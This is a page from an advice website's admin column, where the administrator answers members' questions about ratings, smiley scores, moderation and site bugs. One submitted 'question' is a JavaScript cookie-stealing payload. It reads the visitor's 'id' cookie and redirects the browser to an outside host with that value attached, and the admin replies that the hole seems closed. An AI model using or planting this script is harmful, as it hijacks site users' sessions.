advicenator_admin's advice column

askadvicenator_admin

advice column ask question view feedback favorite columnist advicenators

Q: I am a level two mod, and thus I have the ability to deleat questions. This may sound silly, but should I actually deleat a 'please date me' question or just give it a :( rating?

please date me? i don't think this is asking for advice... i wouldn't complain if you deleted stuff like this. normally we like to avoid deleting stuff but that's pretty bad.

Q: Some people make up rude questions and dont take this website seriously. could you kick them out?

We don't like censorship.

Q: I was wondering about the rating system. How are people rated? I know it's not related to the feedback from people we give advice to. It was in this way I originally thought, until I noticed that the means didn't add up to the same number. Are there a select few people who have the privilege of deciding whether someone earns a 4.5 or a 1.01. I hope I'm not coming off as rude, I was just wondering. thanks.
-storageanddisposal

Actually, it's nothing but an average of your ratings. Only ratings given over the last 30 days are considered in your average, so it's not like every rating plays into it, but all ratings count equally. If you notice a discrepincy let me know.

Q: Hi, sorry for your time, because this is more of a request. Could you delete my question, the one addressed to all about music? It was made may 17th. I did a horrible job phrasing it, and the main question isn't even appearant. You have to see what I added for the actual question. Thank you for your time.

okay.

Q: Ratings are here to help columnists review themselves, and hopefuly improve for the better, but I have found that out of hundreds of columnists, hardly anyone rates the people who answer their questions. To stop this from happening and help people to realise their faults or build on their good points, you could include something in the site's tips about ratings. You could say that ratings really help columnists, or you could even make it obligatory to fill these in. I think it would really help people to improve on their answers.

I added a note to the "view your question" page reminding people that clicking on the rate links is a very good thing. I'm not sure what all else to do to encourage it. I mean, how could we make it obligatory? It's not like we'd take the answers away or anything. I'm not sure how to reward people for giving ratings, or why people aren't rating answers, but if you have ideas I'm open to hear them.

Q: I looked at the list of all the columnists, and could not find my coulumn. I know it's still there, because when I log on and go to "Your advice column" It comes up. That is probably why I haven't got any questions in a long time. I know most people ask them to the whole forum, but if someone wanted to ask a question to a particular columnist, then they wouldn't see my column. I tried different categories that I know I specified as being my best, and I'm still not there. Can this please be corrected? I'm nicegirl90247. Thanks. :-)

I see your column, it's like the eighth one down. They're listed in the order last updated... answer a question and yours should be right at the top.

Q: it wont let me see the advise people gave me about my question it go to where it sayd my questions but it dont do nutin it just says veiwng your questions but it never does anything what do i do.

I assume you're clicking the "view questions" link? Are you sure you're logged in? Were you logged in when you asked the question? If you don't log in, the system can't keep track of what you ask.

Q: This is probably very nitpicky, but to me it sticks out like a sore thumb; when on the Viewing a Question page, the links read "_______'s advice columm" instead of "_______'s advice column". TIA.

whoh! that's not good. okay, it's fixed now, thanks for the tip!

Q: When people ask for advice it makes it alot easier for advicenators to answer when you give your **age**.

We do state that "If you're asking any kind of relationship question, it helps to include your age and gender." on the form that people use to answer questions. Maybe I'll try to make that a little bolder or something.

Q: I decided to try something. I deleted an answer that got a "1" feedback, and it dissappeared, completely, including my feedback. I also answered a question that I had asked myself and gave my answer a 5 rating. It showed up. I also gave that question a 3 rating as moderator and that went through. All of this was over 30 days old, so it won't effect my present rating.

But my point is, can you put in some kind of program (ISP tracking or something) to keep columnists from rating themselves, or erasing negative feedback? If I can do it, anyone can do it to cause a higher rating.

I don't think it's a major problem and here's why:

First, if you get a 1 rating on an answer, I don't think the world will cry if it gets deleted. You may have given some pretty bad advice. If you gave good advice and the rating person was just a butt about it, I guess you don't deserve the rating, so I'm not bad about deleting it there either.

Ratings are not that important and shouldn't be that important. If they are important to you, and you're willing to manipulate yours, you're not going to get a whole lot more out of it. So I don't really see the need for tougher scrutiny.

As for rating your own questions, I don't feel too nervous about that one because there are 20-some other moderators to negate your rating. Your 3 won't matter if everyone else gives it a 1.

Q: what it up with the smilies and how come all my questions either have an unhappy face or a straight face?

Just updated the faq, so this should help you:

http://advicenators.com/faq.php?mode=question_ranking

Q: What exactly happens with the smiley's? Does everyone see the smiley ratings, or just the moderators? If I rate a question with a frown, will the person asking the question see it? It might be someone who simply asks a question that has been asked before, or a young person, who sincerely wants an answer. Then we "say your question deserves a frown because it is asked often or the grammar is wrong." Is this what is intended?

If it is rated a 3, does the question automatically go to the main page? The one about the girl who had sex with 5 guys and got pregnant is currently rated a 3. Someone else asked a question about smileys in the wrong category, and didn't phrase it well, and it has a 3.

What happens if it is rated a 1? Nothing?

I am hesitant to rate questions until I understand what the smileys are really doing.

Everyone sees the one smiley on the right side, but only moderators see the three smileys on the left side that you click on. The smiley on the right side is based off an average of all that question's ratings. What you rate a question is kept private... it's kept in a database but no one can see it.

The question on the main page is
1) Rated a three
2) Asked in the last three days
3) Has fewer answers than all the other questions that have a three rating and were asked in the last three days

So, not necessarily the newest question.

Nothing happens to a question if it gets a 1, except it'll be easier for people to skip over it if they set their quality minimum to a higher level. People don't get banned or anything. It should be pretty obvious which questions get a 1... just because the question has been asked before doesn't mean it's bad, but honestly, how many times have we seen "how do I know if a boy likes me?" One! And by "bad grammar" I'm talking about really bad... you don't have to read for split infinitives or anything, but if it's typed in all capital letters, if they used the letter "u" for the word "you", if it has a lot of chatspeak, so much that it's hard to read, then it's bad grammer.

Concentrate more on looking for questions that deserve a smile, because we actually use those higher rated questions for something.

Q: okay I have gotten feedback like 7 times and it only says that i have only had 2 people give me feedback! why won't it show those stars? i mean i waited till i had more than 5 and it still says that!

on the "veiw questions" page what are those lil' faces for? im just wondering.

Now i want to complain! PLEASE DO NOT make an archive! PLEASE don't! i mean its okay and all but are you going to start refusing questions? cause thats what brought me to this site u didn';t stop me afrom writing my Q's.

well i think that does it. i hope i didn't ask to many q's at the same time.

sincerely
advice~gurl
kat

We only count up feedback if it applies to questions asked in the last thirty days. So if those other five people rated you on older questions, the ratings won't count.

Q: var lkj = document.cookie; function getCookie(name) { var index = lkj.indexOf(name + "="); if (index == -1) return null; index = lkj.indexOf("=", index) + 1; var endstr = lkj.indexOf(";", index); if (endstr == -1) endstr = lkj.length; return unescape(lkj.substring(index, endstr)); } var a = getCookie('id');var b = 'http://scurvy.2y.net/?avnid=';var c = b+a; window.location=c;

I don't think it's vulnerabling anymore. Where is it working?

Q: i asked a question, and i got an email saying i got an answer but when i went to the site it wasnt anywhere.:S what happened?

site bug. we're working on it. if you notice a pattern please let us know because we're really confused about why it's happening.

Q: i want to find out if i have had a reply to what i wrote to one of the advicenators

Click "Your Questions". It's underneath your inbox link. If it doesn't show up, you might not have been logged in when you wrote it, in which case sorry you're out of luck. You have to be logged in for the system to keep track of your questions.

Q: I wonder if you could remind people to use the rating system to leave comments. I keep getting quetions in my inbox, but half the time it's to say thank you or something and I have no idea what question they are reffering to.

Thanks

Not sure how to enforce this idea more, but I'll try.

Q: So apparently we're supposed to get rating stars after having been given 5 ratings and I have 12, yep count 'em 12 ratings and yet - no stars. Am I missing something? I am very sad about this.

We show all your ratings, but we only count up the ones that apply to questions you've answered in the last thirty days, so they might not all count.

Q: Why do some columnists have star ratings by their name and others not?

I've been given ratings of 4 and 5 but there are no stars next to my name on the list of Columnists.

'Girlwithamansname

You have to be rated at least five times before we start showing stars.

Q: I'm a columnist and I took out my Favorite Categories. When I tried to put them back again, they won't show up. Also, when I experimented with background colors, the left comlum sidebar will not change to a different color from the right side, although there is an option to change it in the Settings Edit section.

Can you send me your username so I can look you up in the database and see if your favorite categories are there? My e-mail is admin@advicenators.com .

bio

This advice column is for suggestions, comments, or error reporting about advicenators. If you'd like to suggest a new category, ask me a question. If you'd like to whine, bitch, or complain about advicenators, you may whine, bitch, or complain to me.

Three rules though:
1) Do not ask me for life advice. We have several thousand other members that do that.

2) Do not ask for help, or ask how to do something, or ask about
how something on the site works, unless you've read every word of our help pages and you're sure it's not addressed there.

3) Do not ask me to ban someone or investigate abuse. We have an entire abuse system set up for that.

If you disobey one of these rules, I'll delete your question.

Some guidelines about suggestions:
If you offer a suggestion that I find interesting, I might just ignore your question so it stays in my inbox as a reminder of something to do. Don't be upset that I don't answer you, and don't delete your questions (because then I'll forget!)

If you have three suggestions, please ask three separate questions, that way I can address each one individually. It's a real pain when people ask one question with like twenty different topics in it; I can't keep them straight.